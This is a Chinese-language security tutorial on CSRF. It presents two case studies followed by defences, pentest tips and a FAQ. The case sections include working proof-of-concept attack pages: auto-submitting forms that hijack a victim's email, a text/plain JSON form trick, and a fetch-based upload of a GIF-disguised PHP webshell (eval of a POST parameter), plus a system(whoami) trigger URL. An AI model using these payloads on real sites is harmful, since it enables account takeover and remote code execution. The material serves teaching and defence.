1. 项目概述从“身份劫持”的陷阱说起最近在复盘一些内部安全审计的案例发现一个老生常谈但依然极具杀伤力的漏洞——CSRF跨站请求伪造它就像网络世界里的“身份冒用”。攻击者不需要窃取你的密码只需要诱导你点击一个链接或访问一个页面就能以你的身份执行非预期的操作。听起来是不是有点毛骨悚然这恰恰是很多开发者尤其是刚入行的朋友容易忽略的“信任边界”问题。今天我们不谈枯燥的理论直接通过两个我亲手挖过和修复过的真实案例来深入探索CSRF漏洞的攻防细节。无论你是正在学习网络安全的学生还是负责业务开发的工程师理解CSRF的原理和防御手段都是构建安全应用不可或缺的一课。简单来说CSRF攻击利用了Web应用对用户浏览器的“过度信任”。浏览器在发起请求时会自动带上目标站点的Cookie包括会话标识而服务器通常就靠这个Cookie来识别用户身份。攻击者构造一个恶意请求诱骗已登录的用户去触发服务器收到带着正确Cookie的请求便以为是用户本人的合法操作从而执行了转账、改密、发帖等危险动作。整个过程用户可能完全不知情。接下来我们就进入实战场景看看这“身份劫持”的陷阱是如何布下又该如何拆解。2. 核心原理与攻击模型拆解要理解案例必须先吃透CSRF的核心。很多人把CSRF和XSS搞混其实它们有本质区别。XSS是往你的网站里“注入”恶意脚本窃取信息或进行客户端攻击而CSRF是“借用”你的身份向你的网站发起一个伪造的请求。攻击者甚至不需要入侵你的服务器他只需要有一个能让你点击的“诱饵”。2.1 攻击成功的三要素一个典型的CSRF攻击要成功必须同时满足以下三个条件缺一不可关键操作存在目标网站存在一个通过HTTP请求尤其是GET、POST就能执行的重要操作比如修改用户资料、转账、发表评论、添加管理员。这个操作通常不需要二次确认如密码、验证码或者确认机制可以被绕过。基于Cookie的会话管理应用完全依赖Cookie特别是Session Cookie来维持用户的登录状态。浏览器在向该域名发起任何请求时都会自动附上相关的Cookie。请求参数可预测攻击者能够完全猜测或构造出执行该操作所需的HTTP请求参数。这些参数不能是随机的、一次性的令牌Token。2.2 攻击者的视角如何构造一个恶意请求假设目标网站有一个修改邮箱的接口POST /user/update_email 参数是new_emailattackerevil.com。一个已登录的用户访问了这个页面他的浏览器里存有该网站的登录Cookiesessionidabc123。攻击者会怎么做呢他会在自己的恶意网站上放置一个自动提交的表单或者一个图片标签。使用隐藏表单的POST攻击示例!-- 攻击者托管在 evil.com 的页面 -- body onloaddocument.forms[0].submit() form actionhttps://victim-site.com/user/update_email methodPOST input typehidden namenew_email valueattackerevil.com / /form /body当用户访问这个恶意页面时onload事件会触发表单自动提交。浏览器会向victim-site.com发起一个POST请求并且自动带上用户在该站点的登录Cookiesessionidabc123。服务器验证Cookie有效便执行了修改邮箱的操作。使用IMG标签的GET攻击示例更隐蔽对于一些使用GET请求执行操作的不安全设计例如GET /user/delete?id123攻击甚至更简单img srchttps://victim-site.com/user/update_email?new_emailattackerevil.com width0 height0 /用户只要加载了包含这个图片的页面比如论坛里被插入的图片浏览器就会尝试去加载这个“图片”URL从而发起一个带着用户Cookie的GET请求。注意现代浏览器对跨域请求有同源策略限制但这主要限制的是前端JavaScript读取跨域响应的能力。对于“简单请求”如GET、POST表单浏览器仍然会发出请求并携带Cookie只是攻击者的页面读不到响应内容。但这对于CSRF攻击来说已经足够了因为攻击者通常不关心操作的响应结果只关心请求是否被服务器执行。理解了攻击模型我们来看两个具体的、有代表性的案例。3. 案例一基于JSON的“高级”CSRF攻击第一个案例来自一个前后端分离的现代Web应用。开发团队自信地认为“我们所有API都是JSON格式的POST请求而且用了CORS策略CSRF攻击对我们无效。” 事实真的如此吗我们通过一次授权测试发现了盲点。3.1 漏洞场景还原该应用的用户个人资料修改接口设计如下端点POST /api/v1/profile/updateContent-Typeapplication/json请求体{nickname: 新昵称, signature: 新签名}认证标准的Bearer Token放在Authorization头同时会话Cookie也用于维持登录状态双保险但这里成了隐患。前端使用Axios库发送请求代码看起来没问题axios.post(/api/v1/profile/update, { nickname: newNickname, signature: newSignature }, { headers: { Content-Type: application/json } });服务器端Node.js Express的CORS配置是app.use(cors({ origin: https://legitimate-client.com, // 只允许信任的前端域名 credentials: true // 允许携带Cookie }));开发者的逻辑是CORS限制了Origin非法的网站无法通过AJAX调用我的接口所以安全。3.2 攻击构造与突破点问题出在CSRF攻击不一定需要AJAX。我们构造了一个恶意页面它不依赖JavaScript发起AJAX请求而是利用了一个老技巧一个可以自动提交、且能发送JSON数据的表单。关键突破点在于HTML表单的enctype属性。虽然表单原生不支持application/json但我们可以通过一个隐藏的textarea和一点JavaScript技巧来模拟。更简单的方法是我们发现该服务器的后端框架某些版本的Express body-parser存在一个特性当Content-Type为text/plain时它也会尝试解析请求体。如果解析逻辑不严谨可能会把一段JSON字符串当作对象处理。我们构造了如下攻击页面!DOCTYPE html html body h1恭喜你中奖了点击领取/h1 !-- 利用一个伪装成按钮的表单提交 -- form idcsrfForm actionhttps://victim-site.com/api/v1/profile/update methodPOST enctypetext/plain input typehidden name{nickname:Hacked!,signature:你的账号已被我接管,ignore_me: value} / input typesubmit value领取奖励 stylefont-size:20px; padding:10px; / /form script // 为了增加成功率可以尝试自动提交 // setTimeout(() { document.getElementById(csrfForm).submit(); }, 3000); /script /body /html这个表单的enctype是text/plain提交后生成的请求体大致是{nickname:Hacked!,signature:你的账号已被我接管,ignore_me:}由于ignore_me这个参数名和值的巧妙拼接最后多了一个和}可能会破坏JSON结构。但许多JSON解析库如JavaScript的JSON.parse具有较高的容错性或者服务器端代码在解析前做了不规范的字符串处理如直接eval或JSON.parse截断后的字符串导致仍然能解析出前两个有效的字段。更可靠的攻击方式是诱导用户上传一个特制的HTML文件或者将这种表单嵌入一个允许通过审核的富文本内容如论坛帖子、商品详情中。当用户点击“领取奖励”按钮时表单就会以用户的身份向目标接口发起POST请求并携带用户的会话Cookie。3.3 漏洞根源与修复方案这个案例的根源在于对“简单请求”与“非简单请求”的误解开发者误以为CORS能完全阻止CSRF。实际上CORS的预检请求Preflight只针对“非简单请求”。一个Content-Type为text/plain的POST请求属于“简单请求”浏览器不会发送预检请求会直接发出请求并携带Cookie。服务器虽然可能因为Origin不对而拒绝但请求已经发出并携带了Cookie。如果服务器端没有同步验证CSRF Token仅依赖CORS的Origin检查而该检查又存在配置错误或遗漏比如对text/plain的请求没有严格校验Content-Type和Origin漏洞就可能产生。双重认证的混乱同时使用Cookie和Token但关键操作只检查了其中之一Token却忽略了基于Cookie的会话依然有效。攻击请求虽然没带Token但带了Cookie如果后端逻辑是“Cookie或Token有一个有效即可”那就危险了。JSON解析的容错性后端对非标准application/json的请求体进行解析引入了不确定性。修复方案引入并强制校验CSRF Token这是防御CSRF最根本、最有效的方法。为每个用户会话生成一个随机、不可预测的Token在渲染表单或页面时嵌入如Meta标签、隐藏域前端在发起请求时将其作为一个自定义Header如X-CSRF-Token或请求参数携带。后端在处理请求时必须校验该Token的有效性。// 后端示例 const csrf require(csrf); const tokens new csrf(); // 生成并存入session req.session.csrfSecret tokens.secretSync(); const token tokens.create(req.session.csrfSecret); // 将token传给前端 res.locals.csrfToken token; // 中间件校验 const csrfMiddleware (req, res, next) { const tokenFromRequest req.headers[x-csrf-token] || req.body._csrf; if (!tokens.verify(req.session.csrfSecret, tokenFromRequest)) { return res.status(403).send(Invalid CSRF token); } next(); }; app.post(/api/v1/profile/update, csrfMiddleware, updateHandler);严格化CORS配置明确指定允许的Content-Type如application/json对于非简单请求预检机制会生效。但记住CORS是浏览器的防护不能替代服务器端的CSRF防护。规范JSON解析服务器端严格检查Content-Type头必须为application/json否则直接拒绝请求。关键操作使用二次确认对于修改密码、修改邮箱、转账等操作强制要求用户输入当前密码或验证码。4. 案例二文件上传功能中的CSRF连锁攻击第二个案例更隐蔽它结合了文件上传功能实现了“一键上传webshell”的效果。目标是一个具有头像上传功能的社交网站。4.1 漏洞场景还原该网站的头像上传接口如下端点POST /upload/avatarContent-Typemultipart/form-data参数一个文件字段file。逻辑服务器会检查文件后缀仅允许.jpg, .png, .gif然后将其重命名如用户ID_时间戳.jpg后存储在/uploads/avatar/目录下。上传成功后返回新头像的URL。前端是一个普通的表单form action/upload/avatar methodpost enctypemultipart/form-data input typefile namefile input typesubmit value上传 /form看起来攻击者似乎无法利用CSRF上传文件因为文件内容需要用户手动选择。然而在HTML标准中input typefile的值是可以通过JavaScript设置的尽管出于安全限制不能直接设置一个本地路径。但攻击者可以预先准备一个恶意图片文件实际是包含PHP代码的图片马并将其编码后嵌入到攻击页面中。4.2 攻击构造利用Blob和FormData现代浏览器支持通过JavaScript创建Blob对象和FormData对象。攻击者可以在恶意页面中动态构造一个包含恶意文件内容的FormData并通过隐藏的iframe或直接发起请求的方式提交。攻击页面核心代码如下!DOCTYPE html html body h1看看我的新宠物照片/h1 img srchttps://attacker.com/cute_cat.jpg onloadstealAvatar() / iframe namehiddenFrame styledisplay:none;/iframe script function stealAvatar() { // 1. 构造一个恶意文件内容图片马GIF头 PHP代码 const gifHeader atob(R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7); // 一个1x1像素的GIF const phpCode ?php eval($_POST[cmd]);?; const maliciousContent gifHeader phpCode; // 2. 创建Blob对象 const blob new Blob([maliciousContent], { type: image/gif }); const fileName shell.gif.php; // 尝试绕过后缀检查 // 3. 创建FormData并附加文件 const formData new FormData(); formData.append(file, blob, fileName); // 4. 创建一个隐藏的form目标指向隐藏的iframe const form document.createElement(form); form.action https://victim-site.com/upload/avatar; form.method POST; form.target hiddenFrame; // 提交到隐藏iframe避免页面跳转 form.style.display none; document.body.appendChild(form); // 5. 将FormData的数据转换并填充到form这是一个复杂点通常需要遍历FormData并创建隐藏input // 更直接的方式使用XMLHttpRequest或Fetch API发送FormData fetch(https://victim-site.com/upload/avatar, { method: POST, body: formData, credentials: include // 关键携带Cookie }).then(response response.text()) .then(data { // 攻击者可以尝试从响应中解析出头像URL但通常不需要 console.log(CSRF文件上传可能已发起); }).catch(err console.error(Error:, err)); } /script /body /html这个攻击的难点在于它需要执行JavaScript属于“存储型CSRF”或“基于XSS的CSRF”的混合体。如果网站本身存在XSS漏洞攻击者可以先注入恶意脚本然后由该脚本发起CSRF文件上传请求这就完全绕开了用户交互。如果不存在XSS则需要诱骗用户访问一个精心构造的恶意页面并且该页面需要执行上述脚本。4.3 漏洞的连锁反应假设攻击成功服务器将文件保存为/uploads/avatar/12345_1625097600.gif。但服务器可能只检查了文件名后缀没有检查文件内容真正的MIME类型或文件头。更危险的是如果服务器配置不当例如某些旧版本Nginx/Apache对.gif文件不会交给PHP解析但.gif.php可能会或者存在文件解析漏洞如Apache的mod_negotiation多后缀解析漏洞那么访问https://victim-site.com/uploads/avatar/12345_1625097600.gif?cmdsystem(whoami);就可能执行PHP代码。即使不能直接解析攻击者也可能结合其他漏洞。例如如果网站存在“本地文件包含”漏洞攻击者可以尝试包含这个上传的“图片马”从而执行代码。4.4 防御策略纵深防御针对文件上传的CSRF需要多层防御强制CSRF Token校验在上传表单中必须包含CSRF Token并在服务器端严格校验。这是第一道也是最重要的防线。完善文件上传校验文件类型校验不要仅依赖后缀名。应在服务器端检查文件的真实类型如通过file命令、读取文件魔数、使用finfo_file()函数。重命名与目录隔离使用随机字符串重命名文件并避免使用用户可控的参数作为文件名的一部分。将上传文件存储在Web根目录之外或至少确保目录没有执行脚本的权限。设置文件服务器权限确保上传目录的权限设置正确禁止执行脚本。使用云存储或独立域名将用户上传的文件托管到第三方云存储如OSS、COS或独立的、无脚本执行环境的域名下彻底隔离风险。设置Cookie的SameSite属性将关键的会话Cookie设置为SameSiteStrict或SameSiteLax。Strict完全禁止第三方上下文携带CookieLax允许部分安全的顶级导航如从邮件点击链接携带Cookie但会阻止像POST表单提交这样的危险请求携带Cookie。这能从浏览器层面极大地缓解CSRF攻击。// Express示例 app.use(session({ secret: your-secret, cookie: { httpOnly: true, secure: true, // 仅HTTPS sameSite: lax // 或 strict } }));关键操作要求二次认证对于头像上传或许可以放宽。但对于更换绑定邮箱、修改密码等操作必须要求用户提供密码或验证码。5. 防御体系构建与最佳实践通过以上两个案例我们可以看到CSRF攻击的多样性和隐蔽性。构建一个健壮的CSRF防御体系不能只依赖单一措施而应该采用纵深防御的策略。5.1 核心防御机制CSRF Tokens这是最主流、最有效的方案务必正确实施生成与存储为用户会话生成一个高强度的随机Token如UUID将其存储在服务器端Session中同时发送给客户端。携带方式自定义HTTP头对于AJAX请求推荐将Token放在自定义Header中如X-CSRF-Token。因为同源策略限制了恶意页面无法读取或设置目标站点的自定义Header。请求参数对于表单提交可以将Token放在隐藏域中。但要注意如果网站存在XSS漏洞Token可能被窃取。校验服务器在处理状态变更的请求POST, PUT, DELETE, PATCH时必须验证Token的有效性和匹配性。Token的绑定可以将Token与用户会话、甚至与具体的请求操作绑定提高安全性。5.2 补充防御措施SameSite Cookie属性如前所述这是现代浏览器提供的强大武器。将Session Cookie设置为SameSiteLax默认值在现代浏览器中已逐渐成为标准或Strict可以阻止绝大多数第三方网站发起的CSRF攻击。这应该成为所有新项目的标准配置。验证Referer/Origin头检查HTTP请求头中的Origin或Referer字段确保请求来源于可信的域名。但这并非绝对可靠因为某些情况下这些头可能被浏览器省略如从HTTPS跳到HTTP或用户隐私设置也可能被篡改尽管在普通浏览器环境中较难。双重认证对于敏感操作如交易、改密要求用户进行二次验证密码、短信验证码、生物识别等。这虽然不是专门针对CSRF但能有效提升账户安全门槛。区分请求方式遵循RESTful规范使用合适的HTTP方法。永远不要用GET请求来执行状态变更操作。这不仅是设计规范也能避免最简单的CSRF攻击如IMG标签攻击。5.3 开发框架中的内置支持大多数现代Web开发框架都内置了CSRF防护Django中间件django.middleware.csrf.CsrfViewMiddleware默认启用模板中使用{% csrf_token %}标签。Spring Security默认启用CSRF保护对于Thymeleaf模板使用input typehidden th:name${_csrf.parameterName} th:value${_csrf.token}/。Express使用csurf中间件注意该库已不再维护建议使用其他方案或自行实现。Laravel为每个活跃的用户会话自动生成CSRF Token可通过csrf指令在Blade模板中插入。使用框架内置功能时务必阅读文档理解其默认行为和配置选项。6. 渗透测试中的CSRF漏洞挖掘技巧作为一名安全测试人员如何系统地寻找CSRF漏洞呢目标识别使用爬虫工具如Burp Suite的爬虫、OWASP ZAP遍历目标应用重点关注所有触发状态变更的请求点表单提交、AJAX调用、URL跳转等。请求分析在Burp Suite的Proxy历史记录或Repeater模块中检查这些请求是否存在CSRF Token查看请求参数或Header中是否有csrf_token,X-CSRF-Token,X-XSRF-TOKEN等字段。Token是否被校验尝试删除、修改或重复使用Token观察服务器响应。如果返回相同的成功结果说明校验缺失或无效。Cookie依赖度尝试移除Cookie发送请求如果请求失败说明操作依赖Cookie再尝试只带Cookie不带Token如果成功漏洞存在。预测性参数检查对于没有Token的请求观察其参数是否具有可预测性。例如修改用户资料的请求是否只包含用户ID和修改内容用户ID是否容易被猜解如递增数字同源策略绕过测试尝试用不同的Content-Type如text/plain,application/x-www-form-urlencoded发送JSON请求。尝试构造简单的HTML表单在浏览器中测试是否能成功提交。工具辅助使用Burp Suite的“Engagement tools” - “Generate CSRF PoC”功能可以快速为捕获到的请求生成一个概念验证的HTML页面方便测试。关注“盲”CSRF有些操作没有直接的视觉反馈如后台的订阅取消、邮件设置修改。测试时要注意服务器响应的状态码和内容变化或者通过时间延迟等侧信道手段判断请求是否被执行。实操心得在测试时我习惯先在一个浏览器中登录目标账号测试账号然后在另一个完全独立、无痕模式的浏览器中打开生成的CSRF PoC页面。这样可以清晰隔离Cookie环境准确判断攻击是否生效。另外对于修改操作一定要先记录修改前的状态攻击后再查看是否被更改以确认漏洞。7. 常见问题与排查实录在实际开发和测试中关于CSRF会遇到不少坑。这里记录几个典型问题和我的解决思路。问题1我们用了JWTToken放在LocalStorage是不是就没CSRF风险了答案风险转移了但没完全消失。如果Token通过自定义Header如Authorization: Bearer token发送由于浏览器同源策略限制恶意页面无法设置这个Header因此能防御CSRF。但是如果应用存在XSS漏洞Token可能从LocalStorage中被盗。此外如果后端为了兼容也同时支持从Cookie读取Token那CSRF风险依然存在。最佳实践是JWT放在HTTP-Only Cookie中防御XSS并配合严格的SameSite属性和CSRF Token防御CSRF。问题2SameSiteLax已经默认开启了还需要CSRF Token吗答案对于大多数场景SameSiteLax能防御绝大多数来自第三方网站的CSRF攻击特别是POST请求。但是它不能防御同源下的CSRF比如网站子域名漏洞。某些用户操作如点击链接发起的GET请求在Lax下是允许的。如果你的“删除”操作错误地使用了GET方法依然危险。浏览器兼容性问题旧版本浏览器不支持。 因此CSRF Token仍然是推荐的最佳实践它与SameSite Cookie是互补关系构成纵深防御。问题3API如何防御CSRF移动端App有CSRF风险吗答案对于纯API服务无浏览器Cookie会话使用Token认证如JWT且Token不通过Cookie存储和发送而是通过Header。确保API不依赖自动携带的Cookie进行身份验证。 移动端App的CSRF风险较低因为App内嵌的WebView可以控制Cookie行为。Native请求通常使用自定义Header携带Token不受浏览器Cookie机制影响。但要注意如果App内使用标准浏览器组件访问网页且该网页依赖Cookie则仍存在风险。解决方案是在App中为WebView设置独立的、无Cookie的会话或通过App与Web的桥接传递认证信息。问题4在测试中CSRF PoC页面在本机有效但放到线上服务器就无效了排查思路检查Cookie的Secure和HttpOnly标志如果Cookie设置了Securetrue则只能在HTTPS连接中传输。你的PoC页面如果是HTTP则不会携带该Cookie。检查SameSite属性如果Cookie设置了SameSiteStrict来自第三方网站的链接点击都不会携带Cookie。SameSiteLax会阻止POST表单提交携带Cookie。检查CORS策略虽然简单请求会发出但如果服务器返回了错误如403 Forbidden且你的PoC页面没有处理你可能看不到效果。打开浏览器开发者工具的“网络”选项卡查看请求是否真的发出以及服务器的响应是什么。检查Token绑定有些实现会将CSRF Token与用户会话ID甚至IP地址绑定。你的测试环境和线上环境的IP不同可能导致Token校验失败。问题5框架开启了CSRF保护但我的AJAX请求还是被拒绝了排查思路Token未正确携带确保从正确的来源获取了Token如Meta标签csrf-token并在每个AJAX请求的Header或参数中正确设置。Cookie问题确保AJAX请求设置了withCredentials: trueFetch API是credentials: include以便携带Cookie因为Session和CSRF Secret通常关联。预检请求对于非简单请求浏览器会先发一个OPTIONS预检请求。确保你的后端正确处理了OPTIONS请求并返回正确的CORS头同时不能在这个阶段进行CSRF校验因为预检请求不携带Cookie和自定义Header。双重提交Cookie模式有些框架如Angular的默认方式使用XSRF-TOKENCookie和X-XSRF-TOKENHeader的模式。确保你的前端和后端配置匹配。CSRF是一个经典的Web安全议题其原理并不复杂但因其与浏览器行为、会话管理、HTTP协议深度耦合在实际场景中总有新的变化和挑战。真正的安全源于对细节的掌控和对“信任边界”的持续审视。每次在代码中处理用户请求时多问一句“这个请求真的是用户本人意图发起的吗” 这或许就是对抗“身份劫持”最好的起点。